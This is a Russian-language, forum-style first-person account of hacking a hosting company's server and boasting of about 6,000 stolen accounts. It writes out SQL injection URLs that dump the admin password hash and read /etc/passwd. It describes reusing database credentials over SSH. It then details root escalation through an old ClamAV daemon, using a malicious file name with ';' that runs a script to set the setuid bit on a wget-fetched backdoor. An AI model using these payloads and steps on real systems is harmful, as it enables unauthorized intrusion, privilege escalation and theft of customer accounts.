На днях на одном новостном портале увидел банер \супер хостинг по очень низким ценам\, ну, и перешел на сайт этого супер хостинга. Сразу бросился в глаза классный дизайн!!! ) Но как говорится: "Встречают по одежке"!!! Смс сайта была самописная (по скулям ничего не нашел, все говорило, что программисты там не пинают %). Решил начать изучение сайта с гугли. По индексации ничего полезного не нарыл. Решил пройтись сканером nikto! И нашел диру под названием calendar--[скрыл реальное название , т.к. не стану выкладывать в паблик уязвимость., во благо пиЯнеров )] Календарь носил личный характер(его вел админ). Двиг календаря был публичным скриптом. Конечно, захотелось почекать его на sql и получилось , нашлась скуля. Code: http://syper-hosting.biz/calendar/bag.php?id=-1+union+select+1,2,version(),4,5,6,7/* Версия мускула 5 ))) На лице появилась улыбка! По этому запросу нашел таблицу users_cal Code: http://syper-hosting.biz/calendar/bag.php?id=-1+union+select+1,2,TABLE_NAME,4,5,6,7+from+INFORMATION_SCHEMA.TABLES+limit+18,1/* Вывел хеш админа: Code: http://syper-hosting.biz/calendar/bag.php?id=-2+union+select+1,2,name,password,5,6,7+FROM+users_cal+LIMIT+0,1/* После подбора получил пароль вида: te5tgc[e !) Зашел в админку, но ничего путного не нашел! Нацелил свою пати на 22 порт супер хостинга, но после ввода , мне сказали сходить вон, чего я и ожидал. Далее по копирайтам чудо-продукта, двинулся залить себе на хард, чудо-исходники. Поставив сее локально, нашел 2 пасс.xss и раскрытие пути, последнее натолкнуло на привязку к скуле! Раскрытие происходило при передаче в кукисах вместо сессии вида: 6234682lkhfg346346346t3y34 обычной одинарной ' ) или при обращение к файлу /inc/mail.conf.php!!!!! Поехали дальше. Code: bag.php?id=-2+union+select+1,2,LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/* И увидел /etc/passwd ! Это уже радует. Имея путь и исходники я без всяких проблем просмотрел config календаря и вытянул оттуда пасс и логин от базы.! База была не главной , а конкретно под календарь, но вот логин от базы я нашел в passwd и данный юзер имел bash!) Опять зацепил 22 порт и уже внутри. Удача , как она хороша. !!) Прав было мало я мог просматривать только диру с календарем и все. В корень сайта попасть не мог. uname -a показал ,что сплоиты отпадают! ps -aux , из активных процессов я увидел антивирус под названием clamd. Да, крутая хостинг контора, а на лицензии экономит и юзает фриварный антивирь. Это и стало ошибкой ребят из супер конторы супер хостинга. Выполнив /usr/sbin/clamd -V номер версии был 0.67 ) Что не радовало. Многие конечно же догнали к чему я веду. Изучив /etc/clamav.conf, откуда я узнал ,что проверка на малварь ведется из под рута. Теперь к теории.--> Баг стар как мир , т.е. антивирь сканит и находит наш подсадной вирь (любой, я сделал текстовый) с названием конечно не troy ,а например, id;uname- a Сейчас кто не догнал все поймет. !!! Полез я в /tmp убедился, что могу создавать файло , командую дальше : echo "FFASGAS/&^%#@$%(P*)785$$TEST-ANTIVIR-FILE!$H+H*" >./troyan =) Понюхав нашу заразу, антивирус по всем правилам завоняет , даже не безобидную малварь. Но имя как писалось выше не подходило, надо было что-нить с ";" дабы выполнить команды под рутам (антивирь пашет под рутом). Но вот тут облом был в том, что нельзя использовать бекслеш в названии моего виря, т.е. нельзя было в названии указать путь к файлу и запустить его !!!!! Но решение я нашел. Мне надо было реализовать активацию моего самопального друга-бекдора, меняющего uid и gid , а затем он должен запустить интерпретатор. Начал тестить мою идею, но оказалось ,что в системе нет gcc ((, но бинарные форматы никто не отменял. Сделав все у себя на сервере , я перенес на супер хостинг при помощи wgeta в диру /tmp/ как super. Как уже говорил про слЭши , решение было найдено в набивки отдельного sh -скрипта ., назвав его /tmp/good : Code: #!/bin/sh chown root:root /tmp/super chmod +s /tmp/super Потом для меня настала пора подумать над названием моей малвари. Мне надо было заставить clamd запустить /tmp/good, который установит суид-бит на бекдор /tmp/super Зная ,что clamd работает в корневом каталоге, я сделал следующие: mv troyan ';cd tmp;export PATH= 'pwd';super' И поставив + на /tmp/good. Теперь осталось ждать, когда начнется сканирование системы. Через пару часов залез на шелл и увидел суидный /tmp/test ))) Сервер был повержен. Ну и последствия: 6к аков!